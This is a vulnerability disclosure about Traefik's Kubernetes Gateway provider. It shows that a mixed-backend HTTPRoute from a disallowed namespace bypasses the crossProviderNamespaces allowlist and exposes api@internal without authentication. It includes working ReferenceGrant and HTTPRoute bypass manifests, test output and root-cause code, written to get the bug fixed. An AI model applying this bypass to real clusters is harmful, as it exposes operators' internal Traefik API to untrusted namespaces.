Summary

The Kubernetes Gateway provider's crossProviderNamespaces option is documented as restricting which Gateway API route namespaces may declare TraefikService backendRefs.

For HTTPRoute rules with multiple backendRefs, Traefik checks this allowlist against backendRef.namespace instead of the HTTPRoute namespace. A route in a namespace that is not allow-listed can therefore add api@internal to the generated WRR service by setting backendRef.namespace to an allow-listed namespace, as long as a normal Gateway API ReferenceGrant permits that cross-namespace reference.

Verified affected versions:

• v3.7.1 (fa49e2bcad7ffd8a80accdf1fae1ae480913d93d)
• current source/master tested by me (29406d42898547f1ffabd904f66af06c212740cf)

Expected Behavior

With:

providers:
  kubernetesGateway:
    crossProviderNamespaces:
      - trusted

only Gateway API routes whose own namespace is trusted should be allowed to declare TraefikService backendRefs such as api@internal, dashboard@internal, or rest@internal.

An HTTPRoute in namespace attacker should not be able to expose an internal Traefik service by setting:

backendRefs:
  - group: traefik.io
    kind: TraefikService
    name: api@internal
    namespace: trusted

Actual Behavior

For an HTTPRoute in namespace attacker with two backendRefs, Traefik generates a WRR service containing:

[api@internal attacker-whoami-http-80]

even though crossProviderNamespaces only allows trusted.

Threat Model

This does not require changing Traefik static configuration or Traefik process state. The relevant boundary is the Kubernetes Gateway provider's crossProviderNamespaces policy: namespaces outside the allowlist should not be able to declare cross-provider TraefikService backendRefs.

The precondition is a Gateway API environment where an untrusted or less-trusted namespace can create HTTPRoute objects accepted by a Gateway, and a namespace in the crossProviderNamespaces allowlist has a matching ReferenceGrant. ReferenceGrant should satisfy Gateway API cross-namespace reference rules, but it should not override Traefik's separate provider-level namespace allowlist for cross-provider internal services.

A Gateway API ReferenceGrant should be treated as necessary but not sufficient for this case. It authorizes the cross-namespace object reference under Gateway API rules, but Traefik's crossProviderNamespaces option is an additional Traefik-specific security control for cross-provider TraefikService backendRefs, especially @internal services. Therefore a ReferenceGrant from trusted must not make a route in attacker equivalent to a route whose own namespace is trusted.

Required Attacker Capability

Required:

• create or modify an HTTPRoute in namespace attacker;
• have that HTTPRoute accepted by a Gateway;
• rely on an existing ReferenceGrant from an allow-listed namespace, or on a delegated namespace setup where such ReferenceGrant objects are managed separately from Traefik's provider configuration.

Not required:

• modifying Traefik static configuration;
• modifying the Traefik deployment or Traefik RBAC;
• modifying resources in the Traefik deployment namespace;
• modifying providers.kubernetesGateway.crossProviderNamespaces;
• enabling api.insecure;
• exposing the dashboard/API entrypoint directly.

Documentation Evidence

The documented boundary is the namespace of the Gateway API route/resource that declares the cross-provider reference, not the namespace named in backendRef.namespace.

The Kubernetes Gateway provider option is documented as:

List of namespaces from which Gateway API routes (HTTPRoute, TCPRoute, TLSRoute) are allowed to declare a backendRef of kind TraefikService.

The migration notes also describe the security reason for the option:

those references ... allow a user to cross namespace boundaries, as well as exposing @internal services, that only the operator should be able to expose.

and the documented behavior is:

["ns-a"] | Only Kubernetes resources in the listed namespaces can declare cross-provider references.

The provider struct uses the same route-namespace wording:

CrossProviderNamespaces []string `description:"List of namespaces from which Gateway API routes are allowed to declare TraefikService backendRef references." ...`

The reproduced route kind is HTTPRoute; no Gateway API experimental-channel resources are required for the PoC.

PoC

I validated the issue end-to-end in a local kind cluster with Traefik v3.7.1, real Gateway API CRDs, real Kubernetes Gateway, HTTPRoute, and ReferenceGrant resources, and HTTP requests to Traefik's normal web entrypoint.

The complete local reproducer I used is a self-contained kind PoC with these files:

external-repro-kind/kind-config.yaml
external-repro-kind/traefik-v371.yaml
external-repro-kind/gateway-exploit.yaml
external-repro-kind/run-kind-repro.sh

Run command:

./external-repro-kind/run-kind-repro.sh

The script creates a local kind cluster, loads local traefik:v3.7.1 and traefik/whoami:v1.11.0 images, installs Gateway API CRDs, deploys Traefik and the PoC Gateway resources, sends the control and exploit curl requests to 127.0.0.1:18080, prints route status, and deletes the cluster on exit.

Traefik was started with:

--api=true
--api.dashboard=true
--api.insecure=false
--providers.kubernetesgateway=true
--providers.kubernetesgateway.crossprovidernamespaces=trusted

The local host entrypoint was:

127.0.0.1:18080 -> kind NodePort -> Traefik web entrypoint

The target namespace has a normal Gateway API ReferenceGrant:

apiVersion: gateway.networking.k8s.io/v1beta1
kind: ReferenceGrant
metadata:
  name: allow-attacker-to-traefikservice
  namespace: trusted
spec:
  from:
    - group: gateway.networking.k8s.io
      kind: HTTPRoute
      namespace: attacker
  to:
    - group: traefik.io
      kind: TraefikService

Positive control:

apiVersion: gateway.networking.k8s.io/v1
kind: HTTPRoute
metadata:
  name: single-backend-control
  namespace: attacker
spec:
  parentRefs:
    - name: shared-gateway
      namespace: default
  hostnames:
    - control.localhost
  rules:
    - matches:
        - path:
            type: PathPrefix
            value: /api
      backendRefs:
        - group: traefik.io
          kind: TraefikService
          name: api@internal
          namespace: trusted
          port: 80
          weight: 1

Bypass:

apiVersion: gateway.networking.k8s.io/v1
kind: HTTPRoute
metadata:
  name: mixed-backend-bypass
  namespace: attacker
spec:
  parentRefs:
    - name: shared-gateway
      namespace: default
  hostnames:
    - exploit.localhost
  rules:
    - matches:
        - path:
            type: PathPrefix
            value: /api
      backendRefs:
        - group: traefik.io
          kind: TraefikService
          name: api@internal
          namespace: trusted
          port: 80
          weight: 1000000
        - group: ""
          kind: Service
          name: whoami
          port: 80
          weight: 1

Observed external result:

control: single-backend route from attacker namespace should not expose api@internal
control status: 404
404 page not found

exploit: mixed backendRef route from attacker namespace exposes api@internal
exploit returned Traefik API JSON
api@internal status: enabled
weighted members:
api@internal              1000000
attacker-whoami-http-80  1

The HTTPRoute status shows the boundary difference:

single-backend-control:
  Accepted=True
  ResolvedRefs=False
  Reason=RefNotPermitted
  Message=Cannot load HTTPRoute BackendRef api@internal: internal service reference is not allowed: HTTPRoute namespace "attacker" is not in crossProviderNamespaces

mixed-backend-bypass:
  Accepted=True
  ResolvedRefs=True

This is the externally visible security failure: the same route namespace and same api@internal backendRef are rejected in the single-backend path, but accepted in the mixed/WRR path and exposed on the data plane.

Minimized Root Cause Test

I also created a provider-level regression test using Traefik's fake Kubernetes/Gateway clients. This does not rely on the Docker lab, dashboard exposure, or helper backends. It is useful as a minimal root-cause test, but the external kind PoC above is the primary impact reproduction.

Files:

• probe/crossprovider_namespace_probe_test.go
• probe/cross_provider_namespace_probe.yml
• probe/cross_provider_namespace_single_control.yml

Reproduction:

cp probe/crossprovider_namespace_probe_test.go pkg/provider/kubernetes/gateway/
cp probe/cross_provider_namespace_probe.yml pkg/provider/kubernetes/gateway/fixtures/httproute/
go test ./pkg/provider/kubernetes/gateway -run TestProbeCrossProviderNamespacesHTTPRouteBackendNamespaceBypass -count=1 -v

Observed output on both tested versions:

Messages: HTTPRoute namespace attacker must not expose api@internal when only trusted is allow-listed; members=[api@internal attacker-whoami-http-80]

The reproducer also includes a positive control:

=== RUN   TestProbeCrossProviderNamespacesHTTPRouteSingleBackendControl
--- PASS: TestProbeCrossProviderNamespacesHTTPRouteSingleBackendControl

That control shows the single-backend internal-service code path rejects the setup correctly. The bypass appears when the same forbidden internal backend is placed in a mixed/WRR backendRef list.

Root Cause

The single-internal-service path checks the route namespace:

case len(routeRule.BackendRefs) == 1 && isInternalService(routeRule.BackendRefs[0].BackendRef):
    if !isCrossProviderNamespaceAllowed(p.CrossProviderNamespaces, route.Namespace) {

The mixed/multiple backendRef path calls loadService. In loadService, namespace is overwritten from backendRef.Namespace, then passed to loadHTTPBackendRef:

namespace := route.Namespace
if backendRef.Namespace != nil && *backendRef.Namespace != "" {
    namespace = string(*backendRef.Namespace)
}
...
name, service, err := p.loadHTTPBackendRef(namespace, backendRef)

loadHTTPBackendRef then checks crossProviderNamespaces against this target namespace:

if *backendRef.Kind == "TraefikService" && strings.Contains(string(backendRef.Name), "@") {
    if !isCrossProviderNamespaceAllowed(p.CrossProviderNamespaces, namespace) {

This lets a disallowed route namespace choose an allow-listed target namespace and pass the check.

Impact

An untrusted route namespace may expose internal Traefik services through Gateway HTTPRoute despite being excluded from crossProviderNamespaces.

Potentially exposed internal services include:

• api@internal
• dashboard@internal
• rest@internal

This is a route isolation / internal service exposure / security option bypass. Practical severity depends on whether internal services are enabled and how Gateway ReferenceGrant delegation is used, but the observed behavior violates the documented security boundary of crossProviderNamespaces.

I also validated the concrete impact of the generated service graph in the local lab. The lab's intended safe baseline has the dashboard/API protected on the dashboard entrypoint:

Host: dashboard.localhost -> dashboard entrypoint /api/rawdata => 401 Unauthorized
Host: dashboard.localhost -> web entrypoint /api/rawdata => 404 Not Found

When a router on the normal web entrypoint references api@internal, the same API endpoint becomes unauthenticated:

Host: impact-crossprovider.localhost -> web entrypoint /api/rawdata => 200 OK
service: api@internal

A WRR service containing api@internal also exposes the API:

Host: impact-crossprovider-wrr.localhost -> web entrypoint /api/rawdata => 200 OK
weighted services:
api@internal 1000
echo-svc      1

This is the security consequence of the provider bug: a namespace that should be blocked by crossProviderNamespaces can make Traefik generate a service graph containing api@internal on a route it controls.

Suggested Fix

For Gateway HTTPRoute TraefikService cross-provider backendRefs, validate crossProviderNamespaces against route.Namespace in all code paths, including mixed/WRR backendRefs.